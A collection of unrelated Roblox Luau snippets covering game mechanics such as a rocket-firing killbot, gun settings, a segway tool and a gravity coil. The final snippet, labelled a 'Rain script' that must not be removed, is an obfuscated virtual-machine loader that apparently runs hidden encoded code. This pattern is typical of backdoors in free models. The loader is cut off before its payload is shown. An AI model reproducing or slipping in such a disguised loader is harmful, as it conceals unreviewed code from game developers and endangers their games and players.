player.PlayerScripts.CameraScript.RootCamera.Sensitivity.Value = 1
end
Mouse.Button2Down:connect(function()
if not Aiming then
Aiming = true
end
end)
Mouse.Button2Up:connect(function()
if Aiming then
Aiming = false
end
end)
end
end)--]]
Humanoid.HipHeight = 1
|
-- Constructor
|
local Camera = workspace.CurrentCamera
local Looping = true
local Speed = 1
local FreezeControls = false
|
--!strict
|
local LuauPolyfill = script.Parent.Parent
local types = require(LuauPolyfill.types)
type Array<T> = types.Array<T>
type reduceFn<T, U> = (previousValue: U, currentValue: T, currentIndex: number, array: Array<T>) -> U
|
--[[
Stage implementation
]]
|
local EndGame = {}
EndGame.__index = EndGame
function EndGame.new(gameStageHandler)
local self = setmetatable({
gameStageHandler = gameStageHandler,
}, EndGame)
return self
end
function EndGame:initialize()
wait(5) -- TODO: Have a buffer time at the end of the game based on a configuration
-- Teleport players back to the main lobby place
for _, player in pairs(Players:GetPlayers()) do
TeleportService:Teleport(Conf.lobby_place, player)
end
end
function EndGame:playerAdded(player)
local warningMessage = "Player " .. player.Name .. " joined after game start"
warn(warningMessage)
WarningEvent:FireAllClients(warningMessage)
end
function EndGame:destroy()
end
return EndGame
|
-- this code hijacked from the new rocket launcher
|
local Rocket = Instance.new("Part")
Rocket.Locked = true
Rocket.BackSurface = 3
Rocket.BottomSurface = 3
Rocket.FrontSurface = 3
Rocket.LeftSurface = 3
Rocket.RightSurface = 3
Rocket.TopSurface = 3
Rocket.Size = Vector3.new(1,1,4)
Rocket.BrickColor = BrickColor.new(21)
script.Parent.RocketScript:clone().Parent = Rocket
script.Parent.Explosion:clone().Parent = Rocket
script.Parent.Swoosh:clone().Parent = Rocket
function fire(target)
local dir = target - sphere.Position
dir = computeDirection(dir)
local missile = Rocket:clone()
local spawnPos = sphere.Position
local pos = spawnPos + (dir * 8)
--missile.Position = pos
missile.CFrame = CFrame.new(pos, pos + dir)
missile.RocketScript.Disabled = false
missile.Parent = game.Workspace
end
function computeDirection(vec)
local lenSquared = vec.magnitude * vec.magnitude
local invSqrt = 1 / math.sqrt(lenSquared)
return Vector3.new(vec.x * invSqrt, vec.y * invSqrt, vec.z * invSqrt)
end
function scanForHumans()
-- KILL THE HUMANS!!!!!!!!!!
-- for now, pick a random one. In the future, pick the closest. Or use hit test to pick a visible one.
local humansFound = {}
local players = game.Players:children()
if (#players < 1) then return end
local i = math.random(1, #players)
myTarget = players[i].Character
end
function moveKillbot()
-- killbots move using a biased random walk toward the target
-- they also like to float at least 10 studs above the ground
local dx = math.random(-100,100)
local dy = math.random(-40,40)
local dz = math.random(-100,100)
if (sphere.Position.y < 10 and dy < 0) then dy = -dy end
if (sphere.Position.y > 80 and dy > 0) then dy = -dy end
if (myTarget ~= nil) then
local dir = computeDirection(myTarget.PrimaryPart.Position - sphere.Position)
dx = dx + (dir.x * 80) -- change this number to alter player trophism
dz = dz + (dir.z * 80)
end
local vec = computeDirection(Vector3.new(dx,dy,dz))
sphere.BodyPosition.position = sphere.Position + (vec * 40) -- change this number to alter speed
end
function onTouched(hit)
local humanoid = hit.Parent:findFirstChild("Humanoid")
if humanoid~=nil then
humanoid.Health = humanoid.Health - 2000 -- Killbots kill you when you touch them! duh.
end
end
sphere.Touched:connect(onTouched)
while true do -- loop forever
scanForHumans()
for n=1,5 do
if (myTarget ~= nil) then
if(math.random(1,3) == 2) then fire(myTarget.PrimaryPart.Position) end
wait(math.random(1,2))
moveKillbot()
wait(math.random(1,2))
end
end
wait(1) -- don't hog CPU
end
|
-- ====================
-- BASIC
-- A basic settings for the gun
-- ====================
|
Auto = true;
MuzzleOffset = Vector3.new(0, 0.625, 1.25);
BaseDamage = 40;
FireRate = 0.1; --In second
ReloadTime = 2; --In second
AmmoPerClip = 30; --Put "math.huge" to make this gun has infinite ammo and never reload
Spread = 1.25; --In degree
HeadshotEnabled = true; --Enable the gun to do extra damage on headshot
HeadshotDamageMultiplier = 4;
MouseIconID = "316279304";
HitSoundIDs = {186809061,186809249,186809250,186809252};
IdleAnimationID = 94331086; --Set to "nil" if you don't want to animate
IdleAnimationSpeed = 1;
FireAnimationID = 94332152; --Set to "nil" if you don't want to animate
FireAnimationSpeed = 6;
ReloadAnimationID = nil; --Set to "nil" if you don't want to animate
ReloadAnimationSpeed = 1;
|
-- Set up character event binding when player joins the game
|
local function onPlayerAdded(player)
player.CharacterAdded:Connect(onCharacterAdded)
player.CharacterRemoving:Connect(onCharacterRemoving)
end
|
--Search Event
|
frame.Search:GetPropertyChangedSignal("Text"):Connect(update)
|
-- Listeners
|
Tool.Equipped:connect(function()
-- Redefine character and humanoid just in case
Character = Player.Character
Humanoid = Character:WaitForChild("Humanoid")
-- Show the segway menu gui and color gui
NewDisplayGui = DisplayGui:Clone()
NewDisplayGui.Parent = PlayerGui
NewColorGui = ColorGui:Clone()
NewColorGui.Parent = PlayerGui
NewColorGui:WaitForChild("MyTool").Value = Tool
local OpenButton = NewDisplayGui:WaitForChild("OpenButton")
local ColorOpenButton = NewColorGui:WaitForChild("OpenButton")
OpenButton:TweenPosition(UDim2.new(1, -92,1, -38),0,0,0.4,true)
ColorOpenButton:TweenPosition(UDim2.new(0, -6,0.5, -70),0,0,0.4,true)
end)
Tool.Unequipped:connect(function() -- Remove segway when tool is unequipped
game:GetService("ContextActionService"):UnbindAction("segInputAction")
if NewDisplayGui and NewColorGui then
NewDisplayGui:Destroy()
NewColorGui:Destroy()
end
if SpawnedSegway.Value then
RemoveSegway()
end
end)
Tool.Activated:connect(function()
if HasSpawnedSegway.Value == false and IsCoolingDown == false then -- So workspace won't be spammed with segways
IsCoolingDown = true
HasSpawnedSegway.Value = true
-- Hide the tool player is holding
ConfigTool:FireServer(1,Tool,false,nil)
-- Spawn segway
SpawnSegway:FireServer(Character,Tool,SpawnedSegway,StarterColor.Value) -- Fire remote event to spawn
-- Prevent spamming of segways which may lag the server
wait(ToolCoolDown)
IsCoolingDown = false
end
end)
Humanoid.Died:connect(function()
RemoveSegway()
end)
|
--Allow players to chat to force their character to respawn?
|
allow_force_respawn = false
|
--[[Output Scaling Factor]]
|
local hpScaling = _Tune.WeightScaling*10
local FBrakeForce = _Tune.FBrakeForce
local RBrakeForce = _Tune.RBrakeForce
local PBrakeForce = _Tune.PBrakeForce
|
--model by CatLeoYT script--
|
Tool = script.Parent
Handle = Tool:WaitForChild("Handle")
Players = game:GetService("Players")
Sounds = {
CoilSound = Handle:WaitForChild("CoilSound"),
}
Gravity = 196.20
JumpHeightPercentage = 0.12
ToolEquipped = false
function GetAllConnectedParts(Object)
local Parts = {}
local function GetConnectedParts(Object)
for i, v in pairs(Object:GetConnectedParts()) do
local Ignore = false
for ii, vv in pairs(Parts) do
if v == vv then
Ignore = true
end
end
if not Ignore then
table.insert(Parts, v)
GetConnectedParts(v)
end
end
end
GetConnectedParts(Object)
return Parts
end
function SetGravityEffect()
if not GravityEffect or not GravityEffect.Parent then
GravityEffect = Instance.new("BodyForce")
GravityEffect.Name = "GravityCoilEffect"
GravityEffect.Parent = Torso
end
local TotalMass = 0
local ConnectedParts = GetAllConnectedParts(Torso)
for i, v in pairs(ConnectedParts) do
if v:IsA("BasePart") then
TotalMass = (TotalMass + v:GetMass())
end
end
local TotalMass = (TotalMass * 196.20 * (1 - JumpHeightPercentage))
GravityEffect.force = Vector3.new(0, TotalMass, 0)
end
function HandleGravityEffect(Enabled)
if not CheckIfAlive() then
return
end
for i, v in pairs(Torso:GetChildren()) do
if v:IsA("BodyForce") then
v:Destroy()
end
end
for i, v in pairs({ToolUnequipped, DescendantAdded, DescendantRemoving}) do
if v then
v:disconnect()
end
end
if Enabled then
CurrentlyEquipped = true
ToolUnequipped = Tool.Unequipped:connect(function()
CurrentlyEquipped = false
end)
SetGravityEffect()
DescendantAdded = Character.DescendantAdded:connect(function()
wait()
if not CurrentlyEquipped or not CheckIfAlive() then
return
end
SetGravityEffect()
end)
DescendantRemoving = Character.DescendantRemoving:connect(function()
wait()
if not CurrentlyEquipped or not CheckIfAlive() then
return
end
SetGravityEffect()
end)
end
end
function CheckIfAlive()
return (((Character and Character.Parent and Humanoid and Humanoid.Parent and Humanoid.Health > 0 and Torso and Torso.Parent and Player and Player.Parent) and true) or false)
end
function Equipped(Mouse)
Character = Tool.Parent
Humanoid = Character:FindFirstChild("Humanoid")
Torso = Character:FindFirstChild("Torso") or Character:FindFirstChild("UpperTorso")
Player = Players:GetPlayerFromCharacter(Character)
if not CheckIfAlive() then
return
end
if HumanoidDied then
HumanoidDied:disconnect()
end
HumanoidDied = Humanoid.Died:connect(function()
if GravityEffect and GravityEffect.Parent then
GravityEffect:Destroy()
end
end)
Sounds.CoilSound:Play()
HandleGravityEffect(true)
ToolEquipped = true
end
function Unequipped()
if HumanoidDied then
HumanoidDied:disconnect()
end
HandleGravityEffect(false)
ToolEquipped = false
end
Tool.Equipped:connect(Equipped)
Tool.Unequipped:connect(Unequipped)
|
--Rain script. Do not remove or it will not function correctly.
|
local l1IlIIlll1Il1I1iIIi = assert local Ill1Ii1llliiIl1Il1i = select local iili111llI111lIiI11 = tonumber local iIiiII1IiI1lil1l1l1 = unpack local IiiiillI1i1ill111lI = pcall local l1lilll11i11lIIi1Ii = setfenv local llI1II1li1l1I1I11Ii = setmetatable local lIllIl1i1iIii1liiIlli = type local liI11IIlil1lIIIilI1 = getfenv local lIli1l1iilliiiillIIl1 = tostring local IiII1ll11lliIiill1I = error local lliill1llIlilliIll1 = string.sub local lIl11iiIIIllIIIill11I = string.byte local IIII1i11i1liiIiIi11 = string.char local illlli1IiIIIiliIiI1 = string.rep local iiiilIlIIliiill1111 = string.gsub local iil1I1Il1l1IllIIil1 = string.match local lIl1Ii1iIlllliil1IIil = table.insert local lIl1Ii1il1IlllIi1IlII = lIl11iiIIIllIIIill11I("E", 1) local liiilllillI1iIli1ll, liilIllIlil1iiI11II = #{6113}, #{ 784, 1155, 3010, 2956, 6710, 2370, 5262, 6681, 1932, 5686, 1457, 1487, 6916, 5274, 761, 3530, 1309, 170, 2150, 5525, 679, 6927 } + lIl1Ii1il1IlllIi1IlII + 130980 local i1il111IilllIiIIilI = {} local ilI1l1lllI1lll1I1II = 1 local li1ii1ili11liIilI1I, l1i1IlIIIiIil1lI1l1 local function lIlIlllIiili1iliI11li(IIll1l11iIII11Ilil1, lI1Il1Ii1I1liIIi1Ii) local lii11IIIll1ili1llll IIll1l11iIII11Ilil1 = iiiilIlIIliiill1111(lliill1llIlilliIll1(IIll1l11iIII11Ilil1, 5), "..", function(lIll1Il11111II1I11lll) if lIl11iiIIIllIIIill11I(lIll1Il11111II1I11lll, 2) == 72 then lii11IIIll1ili1llll = iili111llI111lIiI11(lliill1llIlilliIll1(lIll1Il11111II1I11lll, 1, 1)) return "" else local Iil1ili1I1I1Il11iii = IIII1i11i1liiIiIi11(iili111llI111lIiI11(lIll1Il11111II1I11lll, 16)) if lii11IIIll1ili1llll then local ii1I111Iill1lillIiI = illlli1IiIIIiliIiI1(Iil1ili1I1I1Il11iii, lii11IIIll1ili1llll) lii11IIIll1ili1llll = nil return ii1I111Iill1lillIiI else return Iil1ili1I1I1Il11iii end end end) local function illiIIi1lIl111iIlli() local lIlI11Iii11I11liII11i = lIl11iiIIIllIIIill11I(IIll1l11iIII11Ilil1, ilI1l1lllI1lll1I1II, ilI1l1lllI1lll1I1II) ilI1l1lllI1lll1I1II = ilI1l1lllI1lll1I1II + 1 return lIlI11Iii11I11liII11i end local function il1i11IiiiiIi1I1i11() local lIlI11Iii11I11liII11i, Iil1ili1I1I1Il11iii, ii1I111Iill1lillIiI, lili1IiIIl1lIl1lIIl = lIl11iiIIIllIIIill11I(IIll1l11iIII11Ilil1, ilI1l1lllI1lll1I1II, ilI1l1lllI1lll1I1II + 3) ilI1l1lllI1lll1I1II = ilI1l1lllI1lll1I1II + 4 return lili1IiIIl1lIl1lIIl * 16777216 + ii1I111Iill1lillIiI * 65536 + Iil1ili1I1I1Il11iii * 256 + lIlI11Iii11I11liII11i end local function l11i1lii1I1i1li1l1i(iI11illIiiIliiIllll, illIilIlliiliI1I1i1, il11Ii1lIi1IIl1i1ll) if il11Ii1lIi1IIl1i1ll then local lI1I1iill1i1IIll1ii, i1111iiI1llllllI1ll = 0, 0 for ll1i1IiIlIiIIIiIiIi = illIilIlliiliI1I1i1, il11Ii1lIi1IIl1i1ll do lI1I1iill1i1IIll1ii = lI1I1iill1i1IIll1ii + 2 ^ i1111iiI1llllllI1ll * l11i1lii1I1i1li1l1i(iI11illIiiIliiIllll, ll1i1IiIlIiIIIiIiIi) i1111iiI1llllllI1ll = i1111iiI1llllllI1ll + 1 end return lI1I1iill1i1IIll1ii else local i11llIii1l1Ii1IliiI = 2 ^ (illIilIlliiliI1I1i1 - 1) return i11llIii1l1Ii1IliiI <= iI11illIiiIliiIllll % (i11llIii1l1Ii1IliiI + i11llIii1l1Ii1IliiI) and 1 or 0 end end local function Ii1l1I11liIlI1iiIIi() local lIlI11Iii11I11liII11i, Iil1ili1I1I1Il11iii = il1i11IiiiiIi1I1i11(), il1i11IiiiiIi1I1i11() if lIlI11Iii11I11liII11i == 0 and Iil1ili1I1I1Il11iii == 0 then return 0 end return (-2 * l11i1lii1I1i1li1l1i(Iil1ili1I1I1Il11iii, 32) + 1) * 2 ^ (l11i1lii1I1i1li1l1i(Iil1ili1I1I1Il11iii, 21, 31) - 1023) * ((l11i1lii1I1i1li1l1i(Iil1ili1I1I1Il11iii, 1, 20) * 4294967296 + lIlI11Iii11I11liII11i) / 4503599627370496 + 1) end local lIlIIililiiIlIlI1i1ii = bit or bit32 local lllIii1IIl1lii1lII1 = lIlIIililiiIlIlI1i1ii and lIlIIililiiIlIlI1i1ii.bxor or function(lIlI11Iii11I11liII11i, Iil1ili1I1I1Il11iii) local lIlllIIl1lllliIIii11I = 1 local ii1I111Iill1lillIiI = 0 while lIlI11Iii11I11liII11i > 0 and Iil1ili1I1I1Il11iii > 0 do local li1il1lIIiIlIli1lII = lIlI11Iii11I11liII11i % 2 local IIIIiiiliI1iii1ll1i = Iil1ili1I1I1Il11iii % 2 if li1il1lIIiIlIli1lII ~= IIIIiiiliI1iii1ll1i then ii1I111Iill1lillIiI = ii1I111Iill1lillIiI + lIlllIIl1lllliIIii11I end lIlI11Iii11I11liII11i = (lIlI11Iii11I11liII11i - li1il1lIIiIlIli1lII) / 2 Iil1ili1I1I1Il11iii = (Iil1ili1I1I1Il11iii - IIIIiiiliI1iii1ll1i) / 2 lIlllIIl1lllliIIii11I = lIlllIIl1lllliIIii11I * 2 end if lIlI11Iii11I11liII11i < Iil1ili1I1I1Il11iii then lIlI11Iii11I11liII11i = Iil1ili1I1I1Il11iii end while lIlI11Iii11I11liII11i > 0 do local li1il1lIIiIlIli1lII = lIlI11Iii11I11liII11i % 2 if li1il1lIIiIlIli1lII > 0 then ii1I111Iill1lillIiI = ii1I111Iill1lillIiI + lIlllIIl1lllliIIii11I end lIlI11Iii11I11liII11i = (lIlI11Iii11I11liII11i - li1il1lIIiIlIli1lII) / 2 lIlllIIl1lllliIIii11I = lIlllIIl1lllliIIii11I * 2 end return ii1I111Iill1lillIiI end local function lilI111il1iI11Ilii1(I1Iii1111IIlIIlIli1) local i1I1IIi1IIlli11lIii = { lIl11iiIIIllIIIill11I(IIll1l11iIII11Ilil1, ilI1l1lllI1lll1I1II, ilI1l1lllI1lll1I1II + 3) } ilI1l1lllI1lll1I1II = ilI1l1lllI1lll1I1II + 4 local lIlI11Iii11I11liII11i = lllIii1IIl1lii1lII1(i1I1IIi1IIlli11lIii[1], l1i1IlIIIiIil1lI1l1) local Iil1ili1I1I1Il11iii = lllIii1IIl1lii1lII1(i1I1IIi1IIlli11lIii[2], l1i1IlIIIiIil1lI1l1) local ii1I111Iill1lillIiI = lllIii1IIl1lii1lII1(i1I1IIi1IIlli11lIii[3], l1i1IlIIIiIil1lI1l1) local lili1IiIIl1lIl1lIIl = lllIii1IIl1lii1lII1(i1I1IIi1IIlli11lIii[4], l1i1IlIIIiIil1lI1l1) l1i1IlIIIiIil1lI1l1 = (37 * l1i1IlIIIiIil1lI1l1 + I1Iii1111IIlIIlIli1) % 256 return lili1IiIIl1lIl1lIIl * 16777216 + ii1I111Iill1lillIiI * 65536 + Iil1ili1I1I1Il11iii * 256 + lIlI11Iii11I11liII11i end local function iiiIIliiii1iIIiI1iI(l1IlI1IiiIll11IiIll) local lIIiiiIl1lIiIIIlI1l = il1i11IiiiiIi1I1i11() local II1Ill111ii1l1iliil = "" for ll1i1IiIlIiIIIiIiIi = liiilllillI1iIli1ll, lIIiiiIl1lIiIIIlI1l do II1Ill111ii1l1iliil = II1Ill111ii1l1iliil .. IIII1i11i1liiIiIi11(lllIii1IIl1lii1lII1(lIl11iiIIIllIIIill11I(IIll1l11iIII11Ilil1, ilI1l1lllI1lll1I1II + ll1i1IiIlIiIIIiIiIi - 1), li1ii1ili11liIilI1I)) li1ii1ili11liIilI1I = (l1IlI1IiiIll11IiIll * li1ii1ili11liIilI1I + 165) % 256 end ilI1l1lllI1lll1I1II = ilI1l1lllI1lll1I1II + lIIiiiIl1lIiIIIlI1l return II1Ill111ii1l1iliil end li1ii1ili11liIilI1I = illiIIi1lIl111iIlli() l1i1IlIIIiIil1lI1l1 = illiIIi1lIl111iIlli() local l1IiII1iIl11l1II1l1 = {} for ll1i1IiIlIiIIIiIiIi = liiilllillI1iIli1ll, illiIIi1lIl111iIlli() do local lIlIlliIllii1ii1iIll1 = illiIIi1lIl111iIlli() local IlIl1IliIII111IiilI = (ll1i1IiIlIiIIIiIiIi - 1) * 2 l1IiII1iIl11l1II1l1[IlIl1IliIII111IiilI] = l11i1lii1I1i1li1l1i(lIlIlliIllii1ii1iIll1, 1, 4) l1IiII1iIl11l1II1l1[IlIl1IliIII111IiilI + 1] = l11i1lii1I1i1li1l1i(lIlIlliIllii1ii1iIll1, 5, 8) end local function liil11lIIl1liIIl1l1() local l111Ilill1lli1iIli1 = { [20475] = {}, [118329] = {}, [123880] = {}, [103143] = {} } illiIIi1lIl111iIlli() l111Ilill1lli1iIli1[9483] = illiIIi1lIl111iIlli() l111Ilill1lli1iIli1[20668] = illiIIi1lIl111iIlli() il1i11IiiiiIi1I1i11() il1i11IiiiiIi1I1i11() illiIIi1lIl111iIlli() local I1111iII11l1lilllI1 = il1i11IiiiiIi1I1i11() - (#{ 3585, 6414, 3304, 5239, 2372, 538, 4809, 2398, 5500, 3271, 6146, 4811, 743, 5987, 2930, 2732, 1007, 4089, 864, 3898, 1812, 2841, 2588 } + lIl1Ii1il1IlllIi1IlII + 133635) local iliilIlI1lii1l11i11 = illiIIi1lIl111iIlli() for ll1i1IiIlIiIIIiIiIi = liiilllillI1iIli1ll, I1111iII11l1lilllI1 do local Illli111111I1IIi1II = {} local lIlIlliIllii1ii1iIll1 = lilI111il1iI11Ilii1(iliilIlI1lii1l11i11) Illli111111I1IIi1II[36691] = l11i1lii1I1i1li1l1i(lIlIlliIllii1ii1iIll1, #{ 4599, 1434, 2604, 5834, 2324, 4315, 1092, 6395, 953, 5073 }, #{ 6915, 4165, 5221, 6880, 4086, 5474, 4018, 3370, 6365, 2510, 1707, 564, 84, 1753, 4548, 1966, 4680, 6623 }) Illli111111I1IIi1II[123859] = l11i1lii1I1i1li1l1i(lIlIlliIllii1ii1iIll1, #{3358}, #{ 6347, 4968, 3862, 6826, 1363, 1983, 36, 1321, 1042, 3594, 5023, 1729, 6555, 1583, 2451, 676, 4718, 248 }) Illli111111I1IIi1II[36151] = l11i1lii1I1i1li1l1i(lIlIlliIllii1ii1iIll1, #{6787}, #{ 5258, 5069, 667, 3215, 5359, 6150, 4904, 1898, 6154 }) Illli111111I1IIi1II[20051] = l11i1lii1I1i1li1l1i(lIlIlliIllii1ii1iIll1, #{ 5009, 4898, 5976, 549, 3255, 6635, 1514, 3099, 6331, 5738, 5748, 5761, 1924, 4609, 4738, 2234, 6615, 2499, 918, 2276, 2335 } + lIl1Ii1il1IlllIi1IlII + -63, #{ 2934, 4209, 2369, 1858, 4078, 2424, 2084, 6314, 1020, 2137, 271, 291, 6786, 423, 4631, 705, 2357, 367, 5058, 3978 } + lIl1Ii1il1IlllIi1IlII + -57) Illli111111I1IIi1II[130555] = l11i1lii1I1i1li1l1i(lIlIlliIllii1ii1iIll1, #{ 3830, 4946, 1520, 6440, 6804, 4071, 5426, 4556, 490, 562, 101, 3111, 126, 2759, 2555, 6371, 165, 4075, 3876 }, #{ 6355, 2755, 3321, 1869, 3482, 2829, 3640, 2488, 6308, 2335, 2823, 4683, 777, 5546, 1101, 6110, 374, 4389, 4926, 36, 6877, 3608 } + lIl1Ii1il1IlllIi1IlII + -65) l111Ilill1lli1iIli1[20475][ll1i1IiIlIiIIIiIiIi] = Illli111111I1IIi1II end il1i11IiiiiIi1I1i11() l111Ilill1lli1iIli1[85389] = illiIIi1lIl111iIlli() local li1l111i1liIllI1lI1 = il1i11IiiiiIi1I1i11() for ll1i1IiIlIiIIIiIiIi = liiilllillI1iIli1ll, li1l111i1liIllI1lI1 do l111Ilill1lli1iIli1[118329][ll1i1IiIlIiIIIiIiIi] = il1i11IiiiiIi1I1i11() end local li1l111i1liIllI1lI1 = il1i11IiiiiIi1I1i11() - (#{ 637, 642, 4024, 5292, 97, 3013, 758, 429, 1400, 1179, 4860, 691, 64, 4660, 4981, 4312, 4213, 6663, 3966, 1625, 925, 3508, 5704 } + lIl1Ii1il1IlllIi1IlII + 133688) local IilIIlliIIlIIl1l1l1 = illiIIi1lIl111iIlli() for ll1i1IiIlIiIIIiIiIi = liiilllillI1iIli1ll, li1l111i1liIllI1lI1 do local i1lIililiiII1Ii1i1l local lIllIl1i1iIii1liiIlli = illiIIi1lIl111iIlli() if lIllIl1i1iIii1liiIlli == #{ 5781, 4961, 589, 2370, 2541, 276, 2814, 2074, 1385, 3750, 6931, 6746, 4541, 2676, 3239, 2764, 2980, 4536, 4883, 78 } + lIl1Ii1il1IlllIi1IlII + 85 then i1lIililiiII1Ii1i1l = lliill1llIlilliIll1(iiiIIliiii1iIIiI1iI(insEncKey), #{6472, 1606}) end if lIllIl1i1iIii1liiIlli == #{ 231, 2599, 21, 5797, 4913, 3794, 30, 2320, 6886, 5621, 2954, 884, 1015, 455, 6164, 5951, 3757, 5306, 5603, 4273, 1529, 4198, 6296 } + lIl1Ii1il1IlllIi1IlII + 78 then i1lIililiiII1Ii1i1l = #{ 145, 6781, 5792, 5890, 1459, 5802, 2497, 6955, 2425, 835, 5391, 6387, 494, 2907, 2867, 6623, 302, 242, 1220, 1045, 6483, 5987, 6940, 4501 } + lIl1Ii1il1IlllIi1IlII + 36949 == #{ 631, 5748, 4343, 819, 3181, 4033, 5554, 2432, 6772, 6132, 1729, 5941, 3042, 159, 1309, 5872, 3466, 1520, 987, 2726, 485, 1914, 4408 } + lIl1Ii1il1IlllIi1IlII + 53808 end if lIllIl1i1iIii1liiIlli == #{ 1116, 4676, 2243, 1900, 832, 1993, 6330, 3192, 1471, 2205, 603, 4809, 4002, 6960, 1202, 2719, 6734, 4899, 3007, 6811, 824 } + lIl1Ii1il1IlllIi1IlII + -5 then i1lIililiiII1Ii1i1l = illiIIi1lIl111iIlli() end if lIllIl1i1iIii1liiIlli == #{ 1285, 1998, 3336, 1401, 5172, 1916, 5539, 2819, 4248, 1727, 3125, 6077, 2046, 885, 5230, 3947, 757, 487, 2214, 1450, 4652, 4448, 4219 } + lIl1Ii1il1IlllIi1IlII + 148 then i1lIililiiII1Ii1i1l = il1i11IiiiiIi1I1i11() end if lIllIl1i1iIii1liiIlli == #{ 3333, 142, 792, 5130, 6629, 4833, 3964, 18, 5530, 631, 6257, 2406, 4865, 1138, 1042, 596, 845, 4083, 4584, 1481 } + lIl1Ii1il1IlllIi1IlII + 29 then i1lIililiiII1Ii1i1l = illiIIi1lIl111iIlli() + il1i11IiiiiIi1I1i11() + Ii1l1I11liIlI1iiIIi() end if lIllIl1i1iIii1liiIlli == #{ 6096, 6262, 2307, 25, 513, 2816, 3613, 1428, 5782, 1413, 4771, 3051, 166, 6110, 4250, 5000, 2938, 2049, 2864, 165, 4680, 1859, 5120 } + lIl1Ii1il1IlllIi1IlII + 112 then i1lIililiiII1Ii1i1l = illiIIi1lIl111iIlli() + il1i11IiiiiIi1I1i11() + Ii1l1I11liIlI1iiIIi() end if lIllIl1i1iIii1liiIlli == #{ 6337, 9, 5144, 1536, 1969, 2498, 213, 1356, 4596, 2569, 6282, 6077, 1434, 3370, 4482, 2834, 6750, 275, 5090, 1465, 2162, 4985, 1944, 697 } + lIl1Ii1il1IlllIi1IlII + 108 then i1lIililiiII1Ii1i1l = Ii1l1I11liIlI1iiIIi() end if lIllIl1i1iIii1liiIlli == #{ 6446, 4205, 6650, 4305, 6404, 6761, 757, 3824, 786, 438, 3129, 2396, 2023, 1861, 3787, 5045, 454, 5490, 4573, 1516, 4242 } + lIl1Ii1il1IlllIi1IlII + 161 then i1lIililiiII1Ii1i1l = #{ 2003, 4481, 6892, 1530, 4810, 1929, 2054, 1196, 508, 3041, 5426, 203, 2363, 2287, 3242, 6750, 817, 346, 4108, 642, 4837, 4944, 320, 3617 } + lIl1Ii1il1IlllIi1IlII + 38538 == #{ 2003, 4481, 6892, 1530, 4810, 1929, 2054, 1196, 508, 3041, 5426, 203, 2363, 2287, 3242, 6750, 817, 346, 4108, 642, 4837, 4944, 320, 3617 } + lIl1Ii1il1IlllIi1IlII + 38538 end if lIllIl1i1iIii1liiIlli == #{ 5932, 1957, 4091, 5950, 5094, 4021, 2015, 5636, 6220, 5624, 6220, 1070, 1097, 5346, 5378, 926, 1466, 2256, 4876, 2156 } + lIl1Ii1il1IlllIi1IlII + 39 then i1lIililiiII1Ii1i1l = lliill1llIlilliIll1(iiiIIliiii1iIIiI1iI(IilIIlliIIlIIl1l1l1), #{ 3624, 3156, 438, 4265, 6319 }) end l111Ilill1lli1iIli1[103143][ll1i1IiIlIiIIIiIiIi - liiilllillI1iIli1ll] = i1lIililiiII1Ii1i1l end for ll1i1IiIlIiIIIiIiIi = liiilllillI1iIli1ll, I1111iII11l1lilllI1 do local Illli111111I1IIi1II = l111Ilill1lli1iIli1[20475][ll1i1IiIlIiIIIiIiIi] local Ii1liI11I1i11liIl1i = l1IiII1iIl11l1II1l1[Illli111111I1IIi1II[20051]] if Ii1liI11I1i11liIl1i == #{ 4044, 6070, 460 } then if Illli111111I1IIi1II[36151] > 255 then Illli111111I1IIi1II[96649] = l111Ilill1lli1iIli1[103143][Illli111111I1IIi1II[36151] - 256] end if Illli111111I1IIi1II[36691] > 255 then Illli111111I1IIi1II[11142] = l111Ilill1lli1iIli1[103143][Illli111111I1IIi1II[36691] - 256] end end if Ii1liI11I1i11liIl1i == #{4732} and Illli111111I1IIi1II[36151] > 255 then Illli111111I1IIi1II[96649] = l111Ilill1lli1iIli1[103143][Illli111111I1IIi1II[36151] - 256] end if Ii1liI11I1i11liIl1i == #{5327, 855} and Illli111111I1IIi1II[36691] > 255 then Illli111111I1IIi1II[11142] = l111Ilill1lli1iIli1[103143][Illli111111I1IIi1II[36691] - 256] end if Ii1liI11I1i11liIl1i == #{ 403, 1155, 6095, 3568 } then Illli111111I1IIi1II[67984] = l111Ilill1lli1iIli1[103143][Illli111111I1IIi1II[123859]] end end illiIIi1lIl111iIlli() illiIIi1lIl111iIlli() il1i11IiiiiIi1I1i11() il1i11IiiiiIi1I1i11() il1i11IiiiiIi1I1i11() illiIIi1lIl111iIlli() illiIIi1lIl111iIlli() illiIIi1lIl111iIlli() local li1l111i1liIllI1lI1 = il1i11IiiiiIi1I1i11() for ll1i1IiIlIiIIIiIiIi = liiilllillI1iIli1ll, li1l111i1liIllI1lI1 do l111Ilill1lli1iIli1[123880][ll1i1IiIlIiIIIiIiIi - liiilllillI1iIli1ll] = liil11lIIl1liIIl1l1() end il1i11IiiiiIi1I1i11() return l111Ilill1lli1iIli1 end local function il11i1iIIillI11lii1(l111Ilill1lli1iIli1, lI1Il1Ii1I1liIIi1Ii, illil1I1iIIlliil1Il) local I1IiilliiIil1liI1Ii, llIIl1IIIiIiIIili1i = -1, 3 local II1i11Illl1lIlliI11 = l111Ilill1lli1iIli1[20475] local IiI1IIlllililIIllli = 20668 local lIllII111lii1iiIl1liI = l111Ilill1lli1iIli1[123880] local lIlIIiiIiil11llillIlI = l111Ilill1lli1iIli1[9483] local iI1I1I1IiiI1illiI1l = l111Ilill1lli1iIli1[85389] local IIIl11Illl1illilIil = 20051 local iIiiIili1liiIi1ilI1 = l111Ilill1lli1iIli1[118329] local lIlIIlIli1II11l11IIll = 36151 local function l1IiIlil1i1lIIIllIl(...) local ll1iIIll1iiIi1II1Il = 0 local IIlii1illiiiIii1il1 = { iIiiII1IiI1lil1l1l1({}, 1, iI1I1I1IiiI1illiI1l) } local ili1lIiIlllI1iIllll = 1 local lIllIilIlI1i1li11Illi = {} local llii1ilI1II1Il1i1il = {} local lI1Il1Ii1I1liIIi1Ii = liI11IIlil1lIIIilI1() local lIlIIli1liII1I1II1i1i = { ... } local Iili1IlIIlilI1iI1Ii = #lIlIIli1liII1I1II1i1i - 1 for ll1i1IiIlIiIIIiIiIi = 0, Iili1IlIIlilI1iI1Ii do if ll1i1IiIlIiIIIiIiIi < lIlIIiiIiil11llillIlI then IIlii1illiiiIii1il1[ll1i1IiIlIiIIIiIiIi] = lIlIIli1liII1I1II1i1i[ll1i1IiIlIiIIIiIiIi + 1] end end local function lIiIIiIli1illl11lIl(...) local ii1I111Iill1lillIiI = Ill1Ii1llliiIl1Il1i("#", ...) local lIlill1IIliIlliI1lI = { ... } return ii1I111Iill1lillIiI, lIlill1IIliIlliI1lI end local function l11iiIllIIlI1liIIil() while true do local 